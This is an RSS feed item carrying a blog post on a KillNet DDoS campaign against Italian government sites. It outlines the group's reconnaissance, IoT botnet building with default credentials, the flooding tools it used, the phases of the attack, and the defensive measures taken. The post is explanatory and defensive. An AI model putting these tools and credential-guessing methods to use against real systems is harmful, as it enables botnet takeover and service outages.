        </item>
        <item>
            <title><![CDATA[I Watched Nation-State DDoS Attack Unfold Live. Here’s What I Learned]]></title>
            <link>https://omars3c.medium.com/i-watched-nation-state-ddos-attack-unfold-live-heres-what-i-learned-93cd373e41c2?source=rss-88003eaeeec0------2</link>
            <guid isPermaLink="false">https://medium.com/p/93cd373e41c2</guid>
            <category><![CDATA[ddos]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Omar]]></dc:creator>
            <pubDate>Tue, 06 May 2025 22:26:20 GMT</pubDate>
            <atom:updated>2025-05-06T22:26:20.168Z</atom:updated>
            <content:encoded><![CDATA[<p>⚠️<strong>Attention: im not member of KILLNET, do not use for your own purposes, all material was written by me for informational purposes</strong>⚠️</p><figure><img alt="Russian hacker group that is famous for its powerful DDoS attacks" src="https://cdn-images-1.medium.com/max/1024/1*J1GLg-sFIDdd440r_A6BHA.jpeg" /><figcaption>a Russian hacker group that is famous for its powerful DDoS attacks</figcaption></figure><p>Hello white hats, i want to tell you about how<strong> KILLNET</strong> and mainly hacker groups operate, I would like to share a recent case I saw live of a DDoS attack by the Killnet group, which cloudflare encountered. I will walk through the attackers reconnaissance and preparation, their tooling, the attack timeline, and our defensive measures</p><p><em>So…</em></p><blockquote>On 30.05.2022 killnet announced an <strong>IRREVERSIBLE STRIKE </strong>against Italian government resources and launched a massive DDoS against the CSIRT portal and several other government websites, the attack persisted for over 10 hours with peak traffic reaching 40 Gbps</blockquote><ol><li><strong>Reconnaissance and Preparation</strong></li></ol><p>Target list distribution: published in their Telegram channel domains and IP ranges to hit Information gathering: dig/whois, HTTPS port scans, HTTP probes to identify WAF/CDN in front of each site and enumerate software versions Botnet assembly: primarily IoT devices infected with Mirai-like malware with SSH/Telnet and FTP brute-force, using common default credentials (like admin:admin, root:root) Compromised devices connected back to C2 (often via the same Telegram API) awaiting attack commands</p><p><strong>2. Attacker Tooling</strong></p><p>Layer 7 (HTTP/HTTPS)<br>cc.py (CC-Attack) randomizes User-Agent, headers, GET parameters, rotates through proxies, and issues SLOW POST requests to hold connections open<br>Layer 4 (TCP/UDP)<br>Suite of tools (Aura-DDoS, Blood, DDoS Ripper, MHDDoS + custom C/Python scripts) for TCP SYN floods, UDP floods, ICMP floods and reflection attacks (NTP, DNS, LDAP)</p><p><strong>3. Attack Timeline</strong></p><p><em>Phase I (3 hours):</em><br>TCP SYN flood with amplification with reflectors<br>UDP flood<br>DNS amplification<br>IP fragmentation<br>Phase II (Repeat burst):<br>Same vectors without DNS amplification but with more aggressive IP fragmentation</p><p><em>Phase II (Repeat burst):</em><br>Same vectors without DNS amplification but with more aggressive IP fragmentation</p><p><em>Phase III (State exhaustion):</em><br>Low-frequency volumetric bursts combined with state-exhaustion techniques (TCP RST flood, slow POSTs)</p><p><strong>4. Defensive Measures</strong></p><p>Network edge filtering<br>ACLs to block known reflector IP ranges (NTP, DNS, LDAP)<br>Rate limits on UDP 123, UDP 53, TCP /UDP 389<br>Provider-level scrubbing<br>Redirect traffic through Cloudflare Spectrum, staged scrubbing: first SYN floods, then UDP amplification and finally HTTP floods<br>WAF and application-layer controls<br>Strict request-per-second thresholds per endpoint<br>CAPTCHA challenge responses on anomalous connection spikes<br>IoT node monitoring<br>Detect devices with abnormal outbound traffic<br>Coordinate firmware updates and default credential changes with vendors</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KXKO2tbKNxifcqBkh1CNPA.png" /></figure><p><strong>5. Key Takeaways</strong></p><p>Telegram orchestration enables rapid mobilization of volunteers and quick target updates<br>Mixed vectors across L4, L7, reflection and slow POST demand a multi-layered defense<br>Low cost and anonymity make DDoS an effective PR tool: noise often matters more than actual damage</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=93cd373e41c2" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>